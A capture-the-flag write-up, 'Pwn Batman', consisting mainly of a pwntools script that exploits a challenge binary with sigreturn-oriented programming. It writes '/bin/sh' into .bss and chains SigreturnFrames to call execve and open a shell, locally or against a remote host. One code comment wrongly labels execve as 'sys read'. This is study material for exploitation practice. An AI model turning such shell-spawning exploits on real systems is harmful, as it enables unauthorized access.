Pwn Batman


Simple SROP FTW. Write “/bin/sh\x00” to .bss and execve.

Challenge files at

Solve

PY
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from pwnlib import gdb
from typing import no_type_check

from pwnlib.util.proc import wait_for_debugger

context.terminal = "tmux neww -a".split()

exe = context.binary = ELF(args.EXE or './chall') # type: ignore
libc = exe.libc
assert libc is not None

@no_type_check
def start(argv=[], *a, **kw) -> tube:
    if args.REMOTE:
        host, port_str = args.REMOTE.split(":")
        port = int(port_str)
        return remote(host, port)
    else:
        return process([exe.path] + argv, *a, **kw)

def bp():
    if isinstance(io, process) and args.GDB:
        wait_for_debugger(io.pid)
    __import__("pdb").set_trace()

io = start()
sla = io.sendlineafter
sa = io.sendafter
sl = io.sendline
ru = io.recvuntil
rl = io.recvline

pld = flat(length=0x280)

pld = SigreturnFrame()
pld.rdi = 0 # stdin fileno
pld.rsi = 0x404140 # bss start + slide
pld.rdx = 0x100 # len of rop
pld.rsp = pld.rsi
pld.rip = 0x0000000000401180 # syscal ret
pld.rax = 0x00 # sys read

rop = ROP(exe)
rop(rax=0x0f)
rop.raw(0x0000000000401180)
rop.raw(bytes(pld))

info(rop.dump())

pld = {0x88: bytes(rop)}

bp()
io.send(flat(pld))

sret = SigreturnFrame()
sret.rdi = 0x404028 # /bin/sh\x00
sret.rsi = 0
sret.rdx = 0
sret.rip = 0x0000000000401180 # syscal ret
sret.rax = 0x3B # sys read

rop = ROP(exe)
rop(rax=0x0f)
rop.raw(0x0000000000401180)
rop.raw(bytes(sret))
rop.raw(b"/bin/sh\x00")

pld = bytes(rop)
pld = flat(pld)

bp()
io.send(pld)

io.interactive()